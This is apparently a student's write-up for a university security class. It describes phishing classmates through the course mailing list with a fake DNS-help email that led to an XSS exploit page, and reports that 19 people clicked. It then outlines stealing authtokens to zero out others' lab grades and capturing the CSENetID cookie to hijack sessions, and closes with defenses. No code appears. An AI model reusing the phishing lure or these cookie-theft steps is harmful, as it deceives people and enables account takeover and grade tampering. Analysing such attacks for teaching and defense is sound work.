As an undergraduate student in the computer science department, there are a number of computing resources available for use. A number of these resources are through the web browser, and have private, personal information associated with them (for instance, MyCSE).
Experimental Attack
Since we were recently doing XSS attacks in our lab, I decided to experiment with them in a more real setting by sending a fake email to the cse484 mailing list, to see how many students/TAs clicked:
Hey, I’m trying to set up my web server for lab 2, but I think I’m having DNS issues with the subdomain I set up not propagating. Can anyone check this page (http://security.30tonpress.com) and see if they get an OK page?
Thanks,
David
That URL then loaded a fake DNS success page, as well as version 1 of my Yoshoo exploit in a small FRAME at the bottom of the page. Surprisingly, 19 people in the class clicked the phish link. Since class mailing lists are generally not thought of as being adversarial places, students are much more likely to click links that are posted to it — especially if there’s a halfway-decent cover story to back. This makes an adversary’s life much easier.
There are a number of reasons that someone might try to exploit XSS attacks on CSE resources. For example, malicious students that want to cause havoc and chaos for others in their class by modifying what they have turned in. Or, someone might want to gain access to all the personal information that the CSE department has on another student.
Weakness #1 – Yoshoo Lab 2
The first attack is on Lab 2 for CSE484, which involves using any captured Yoshoo authtokens to change a student’s grades back to zeroes for part 1-5. This will cause them to lose points on the lab come grading time, lowering the average score on the lab, and boosting the attacker’s score with respect to the grading curve.
An stolen authtoken can be used to log into someone’s y.um.my account, and upload new phishing URLs. These URLs could then be used to grab authtokens for part 1-5 of the grades DB. An adversary could then easily change the grades with these tokens using the same steps they did for their own project.
Weakness #2 – CSENetIDs
When accessing a protected resource on any *.cs.washington.edu, the CSENetID service is used to authenticate users in the browser. A cookie is then saved on that user’s computer under the domain: *.cs.washington.edu, with the key: csenetid_l. This puts an implicit trust on all subdomains under the cs.washington.edu domain. This means that any malicious phishing page that runs on a subdomain of cs.washington.edu that is set up to capture document.cookie from the browser will pick up the CSENetID token of any user who has recently logged in.
Once an attacker has that token, they can spoof your session. If the CSENetID auth service does any additional IP validation of the machine, the IP of the phished user can be spoofed in order to fool the web server into granting access to the attacker.
Potential Defenses
There are defenses against these attacks that can be implemented on both the server-side and the client-side.
On the server-side, any site that wants to use CSENetID authorization could explicitly talk to an authorization server within their web applications’ code (given a standard module for use with different languages like PHP, Python, etc). This could then set an authtoken cookie only on the CSE subdomain that needs authorization. However, this has two downsides. One is that every subdomain would require a user to log in again. Another is that if the module is not well-designed, some of the burden of providing a high-level of security might be shifted to each individual web application, as opposed to one central module.
On the client-side, there are a number of extensions to Firefox that can make browsing safer. One is NoScript, which only lets JavaScript, Java, and Flash execute on sites you explicitly trust. This way, you can check out a link before deciding to let it run arbitrary code. As well, Google provides a Firefox plugin based on data they have gathered about various phishing sites, that will alert a user when they are about to visit a known XSS site.
Even in the context of a security-focused class of students, there were still a good portion of students that clicked my phishing link. For this reason, it is extremely important for clients of web applications to install plugins that can enable them to spot phishing attacks and respond to them. As well, there is a obligation to anyone running a server-side application to sanitize any XSS vectors, and remove the amount of data that is exposed via cookies.
